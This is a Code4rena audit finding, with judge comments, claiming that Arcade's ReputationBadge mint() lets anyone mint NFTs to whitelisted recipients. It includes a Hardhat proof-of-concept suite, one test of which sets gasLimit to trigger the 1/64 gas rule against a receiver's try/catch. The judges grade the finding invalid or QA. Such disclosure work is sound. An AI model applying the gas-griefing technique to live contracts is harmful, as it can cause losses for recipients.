Unauthorized users can mint NFT for other authorized users

[code423n4]

Lines of code

https://github.com/code-423n4/2023-07-arcade/blob/f8ac4e7c4fdea559b73d9dd5606f618d4e6c73cd/contracts/nft/ReputationBadge.sol#L98

Vulnerability details

Title: Unauthorized users can mint NFT for other authorized users

Impact

Any unauthorized user can mint Non-Fungible Tokens (NFTs) for other authorized users, which could result in unexpected and undesirable behaviors.

If the NFT price is set to 0 (for exampel: NFT airdrop), it could lead to an easy attack, where the user only pays for the transaction fee.

Example of unexpected/undesirable behaviors:

1. Precondition: the recipient is a contract that processes incoming NFTs and issues operator rewards.

   An unauthorized user will be set as the operator in the onERC1155Received() call if the recipient is a contract, which could lead to unauthorized users benefiting from these actions or potential losses for the recipient.

2. Precondition: the presence of non-existent addresses in claimRoots[tokenId].

   An unauthorized user can mint the entire NFT limit to a non-existent/invalid address.

3. Precondition: the recipients are contracts with specific logic.

   An unauthorized user mints NFTs to a contract that cannot properly process them or has behavior that prevents proper future use of these NFTs (for example: authorized NFT withdrawal where the NFT arrived sooner than expected, and another user withdrew it from the contract).

4. Precondition: the recipient is a contract implementing specific logic upon receiving NFTs with try/catch.

   An unauthorized user, by manipulating gasLimit, can take advantage of the 1/64 rule and lead to unexpected consequences/losses.

Proof of Concept

Instances:

• nft/ReputationBadge.sol#L98

  
  98: function mint(

• address recipient, uint256 tokenId, uint256 amount, uint256 totalClaimable, bytes32[] calldata merkleProof ) external payable { uint256 mintPrice = mintPrices[tokenId] * amount; uint48 claimExpiration = claimExpirations[tokenId];

  if (block.timestamp > claimExpiration) revert RB_ClaimingExpired(claimExpiration, uint48(block.timestamp));
  if (msg.value < mintPrice) revert RB_InvalidMintFee(mintPrice, msg.value);

• if (!_verifyClaim(recipient, tokenId, totalClaimable, merkleProof)) revert RB_InvalidMerkleProof(); if (amountClaimed[recipient][tokenId] + amount > totalClaimable) { revert RB_InvalidClaimAmount(amount, totalClaimable); }

  // increment amount claimed
  amountClaimed[recipient][tokenId] += amount;
  
  // mint to recipient

• _mint(recipient, tokenId, amount, ""); }

  
  The current version of `ERC1155`, when minting, calls `_mint()` which in turn can call `onERC1155Received()` on the recipient if it's a contract. 
  ```diff
  
  function _mint(
      address account,
      uint256 id,
      uint256 amount,
      bytes memory data
  ) internal virtual {
      require(account != address(0), "ERC1155: mint to the zero address");

• address operator = _msgSender();

  _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);
  
  _balances[id][account] += amount;
  emit TransferSingle(operator, address(0), account, id, amount);

• _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data); }

  function _doSafeTransferAcceptanceCheck( address operator, address from, address to, uint256 id, uint256 amount, bytes memory data ) private {

• if (to.isContract()) {

• try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) { if (response != IERC1155Receiver.onERC1155Received.selector) { revert("ERC1155: ERC1155Receiver rejected tokens"); } } catch Error(string memory reason) { revert(reason); } catch { revert("ERC1155: transfer to non ERC1155Receiver implementer"); } } }

The following tests want to show only great variability and problem areas that can serve as proof of the validity of the problem

Example tests demonstrating various types of unexpected or bad behaviors:

// SPDX-License-Identifier: MIT

pragma solidity 0.8.18;
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Receiver.sol";

contract Bridge {
    event Done();
    uint256[] internal myArr;
    function bridgeCall() public {
        for(uint i =1; i <= 100; i++){
            myArr.push(i);
        }
        // this line would never be reached, we'll be out of gas beforehand
        emit Done();
    }
}
contract NFTIssue is ERC1155Receiver{

    event SpecLogic(address operator);
    event OnFailSpecLogic(address operator);

    Bridge public bridge = new Bridge();

    function intermediate() public{
        bridge.bridgeCall();
    }

    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4){
        emit SpecLogic(operator);

        if(value == 2) {
            try this.intermediate() {

            } catch  {
                emit OnFailSpecLogic(operator);
            }
        }
        return IERC1155Receiver.onERC1155Received.selector;
    }

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4){
        return IERC1155Receiver.onERC1155BatchReceived.selector;
    }
}
---------------------------------------------------------------
import { ethers } from "hardhat";
import { MerkleTree } from "merkletreejs";

import { IBadgeDescriptor, IReputationBadge, NFTIssue } from "../src/types";
import { BADGE_MANAGER_ROLE } from "./utils/constants";
import { deploy } from "./utils/deploy";
import { BlockchainTime } from "./utils/time";
import { BigNumberish, Contract } from "ethers";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { expect } from "chai";

export interface Account {
    address: string;
    tokenId: BigNumberish;
    amount: BigNumberish;
}

export interface ClaimData {
    tokenId: BigNumberish;
    claimRoot: string;
    claimExpiration: BigNumberish;
    mintPrice: BigNumberish;
}

function keccak256Custom(bytes: Buffer) {
    const buffHash = ethers.utils.solidityKeccak256(["bytes"], ["0x" + bytes.toString("hex")]);
    return Buffer.from(buffHash.slice(2), "hex");
}

export async function getMerkleTree(accounts: Account[]) {
    const leaves = await Promise.all(accounts.map(account => hashAccount(account)));
    return new MerkleTree(leaves, keccak256Custom, {
        hashLeaves: false,
        sortPairs: true,
    });
}

export async function hashAccount(account: Account) {
    return ethers.utils.solidityKeccak256(
        ["address", "uint256", "uint256"],
        [account.address, account.tokenId, account.amount],
    );
}

describe("Reputation Badge Mint Issues", async () => {
    const blockchainTime = new BlockchainTime();

    let reputationBadge: IReputationBadge;
    let descriptor: IBadgeDescriptor;

    let admin: SignerWithAddress;
    let manager: SignerWithAddress;
    let nftIssue: Contract;

    let user1: SignerWithAddress;
    let user2: SignerWithAddress;
    let invalidAddress = { address: "0x000000000000000000000000000000000000dead" };
    let unauthorizedUser: SignerWithAddress;
    let merkleTrieTokenId0: MerkleTree;
    let rootTokenId0: string;
    let recipientsTokenId0: Account[];
    let proofUser1: string[];
    let invalidAddressProof: string[];
    let expiration: BigNumberish;
    let nftIssueProof: string[];

    beforeEach(async function () {
        [admin, manager, user1, user2, unauthorizedUser] = await ethers.getSigners();

        nftIssue = <NFTIssue>await deploy("NFTIssue", admin, []);
        await nftIssue.deployed();

        // tree data for two tokens
        recipientsTokenId0 = [
            {
                address: user1.address,
                tokenId: 0,
                amount: 1,
            },
            {
                address: user2.address,
                tokenId: 0,
                amount: 2,
            },
            {
                address: invalidAddress.address,
                tokenId: 0,
                amount: 3,
            },
            {
                address: nftIssue.address,
                tokenId: 0,
                amount: 10,
            },
        ];

        // hash leaves for each token
        merkleTrieTokenId0 = await getMerkleTree(recipientsTokenId0);
        rootTokenId0 = merkleTrieTokenId0.getHexRoot();

        // create proofs for each user
        proofUser1 = merkleTrieTokenId0.getHexProof(
            ethers.utils.solidityKeccak256(
                ["address", "uint256", "uint256"],
                [recipientsTokenId0[0].address, recipientsTokenId0[0].tokenId, recipientsTokenId0[0].amount],
            ),
        );
        invalidAddressProof = merkleTrieTokenId0.getHexProof(
            ethers.utils.solidityKeccak256(
                ["address", "uint256", "uint256"],
                [recipientsTokenId0[2].address, recipientsTokenId0[2].tokenId, recipientsTokenId0[2].amount],
            ),
        );
        nftIssueProof = merkleTrieTokenId0.getHexProof(
            ethers.utils.solidityKeccak256(
                ["address", "uint256", "uint256"],
                [recipientsTokenId0[3].address, recipientsTokenId0[3].tokenId, recipientsTokenId0[3].amount],
            ),
        );
        // deploy descriptor contract
        descriptor = <IBadgeDescriptor>await deploy("BadgeDescriptor", admin, ["https://www.domain.com/"]);
        await descriptor.deployed();

        // deploy badge contract
        reputationBadge = <IReputationBadge>await deploy("ReputationBadge", admin, [admin.address, descriptor.address]);
        await reputationBadge.deployed();

        await reputationBadge.connect(admin).grantRole(BADGE_MANAGER_ROLE, manager.address);

        // manager publishes claim data to initiate minting
        expiration = await blockchainTime.secondsFromNow(3600); // 1 hour
        const claimDataTokenId0: ClaimData = {
            tokenId: 0,
            claimRoot: rootTokenId0,
            claimExpiration: expiration,
            mintPrice: 0,
        };
        await reputationBadge.connect(manager).publishRoots([claimDataTokenId0]);
    });

    describe("Mint", async () => {
        it("just mint from unauthorized to recipient", async () => {
            await reputationBadge.connect(unauthorizedUser).mint(user1.address, 0, 1, 1, proofUser1);
        });
        it("just mint from unauthorized to invalid recipient ", async () => {
            await reputationBadge.connect(unauthorizedUser).mint(invalidAddress.address, 0, 1, 3, invalidAddressProof);
        });
        it("just mint from unauthorized to contract with specific logic for operator ", async () => {
            await expect(reputationBadge.connect(unauthorizedUser).mint(nftIssue.address, 0, 1, 10, nftIssueProof)).to.be.emit(
                nftIssue, "SpecLogic").withArgs(unauthorizedUser.address)
        });
        it("just mint from unauthorized to contract with specific logic for use 1/64 rule ", async () => {
            let tx = await reputationBadge.connect(unauthorizedUser).mint(nftIssue.address, 0, 2, 10, nftIssueProof, { gasLimit: 1142000 });

            await expect(tx).to.be.emit(
                nftIssue, "OnFailSpecLogic").withArgs(unauthorizedUser.address)

            let factory = await ethers.getContractFactory("Bridge");
            let bridgeAddress = await nftIssue.bridge();
            let bridgeContract = factory.attach(bridgeAddress);
            await expect(tx).to.not.be.emit(
                bridgeContract, "Done");
        });
    });
});

Result:

  Reputation Badge Mint Issues
    Mint
      ✔ just mint from unauthorized to recipient (48ms)
      ✔ just mint from unauthorized to invalid recipient 
      ✔ just mint from unauthorized to contract with specific logic for operator  (52ms)
      ✔ just mint from unauthorized to contract with specific logic for use 1/64 rule  (81ms)

Tools Used

• Hardhat
• Remix

Recommended Mitigation Steps

It is recommended to only allow minting if the recipient equals msg.sender, or by using a signature scheme where only the authorized sender can mint the tokens for recipient by signature from recipient. Adding this requirement can prevent unauthorized users from minting tokens on behalf of others, ensuring that only authorized users can mint tokens.

Assessed type

DoS

[141345]

seems invalid

no clear impact/loss

[c4-pre-sort]

141345 marked the issue as duplicate of #386

[c4-judge]

0xean marked the issue as unsatisfactory: Invalid

[c4-judge]

0xean changed the severity to QA (Quality Assurance)

[c4-judge]

0xean marked the issue as grade-c

[BhHaipls]

Hello @0xean, Thank you for taking the time to review my submission. Upon receiving your feedback, there are several points I would like to address and possibly clarify. I believe the following information might be helpful in re-evaluating my submission:

1. I noticed that my submission has been labeled as a duplicate of #386. While both issues touch on the unauthorized minting problem, the consequences highlighted in each submission differ considerably. #386 demonstrates it as a minor DoS. On the other hand, my submission outlines the potential problems arising from unauthorized minting, contingent on specific conditions. It seems challenging to pinpoint a dominant issue that would encompass all scenarios or cover them more extensively. This is my perspective, and I could be mistaken.

p.s. When I wrote this submission, I used the ever-present problem of unauthorized proposal execution in Governance as an example. For instance, the significance of the proposal executor post-voting, as they can set the Gas, and utilize the 1/64 rule to mark a proposal as executed without its actual implementation.

2. Pre-sort mentioned a lack of Impact, and I would like to delve into this point and try to substantiate that the impact is indeed significant:

In my tests, I aimed to showcase potential cases that could occur and the repercussions of unauthorized minting. In summary, unauthorized minting offers the following possibilities:

1. An unauthorized user can mint NFTs to invalid addresses, if those were set in the root or mistakenly indicated. This could lead to either locking those NFTs or them being received by unintended addresses.
2. Depending on the onERC1155Received implementations on the recipient's end, situations might arise where this minting becomes beneficial.
3. If the NFT recipient contract contains a try/catch, it becomes susceptible to the 1/64 rule, allowing unauthorized users to manipulate the gasLimit, leading to unexpected behavior.
4. The NFT recipient might also be a contract with specific logic, where minting at an unintended time could result in NFT losses. Example, a change of signers in a multi-signer or demining ownership transfer occurred while there was an old owner who was able to claim that NFT

Through my tests, I wanted to convey that an unauthorized NFT minting user could exert enough influence to cause losses, unexpected behavior, or NFT locking.

I hope this clarifies my submission's scope and the potential issues it raises. I appreciate your time and consideration in re-evaluating it.

Thank you, have a nice day

[0xean]

This is QA at best, certainly overinflated severity. Leaving as graded.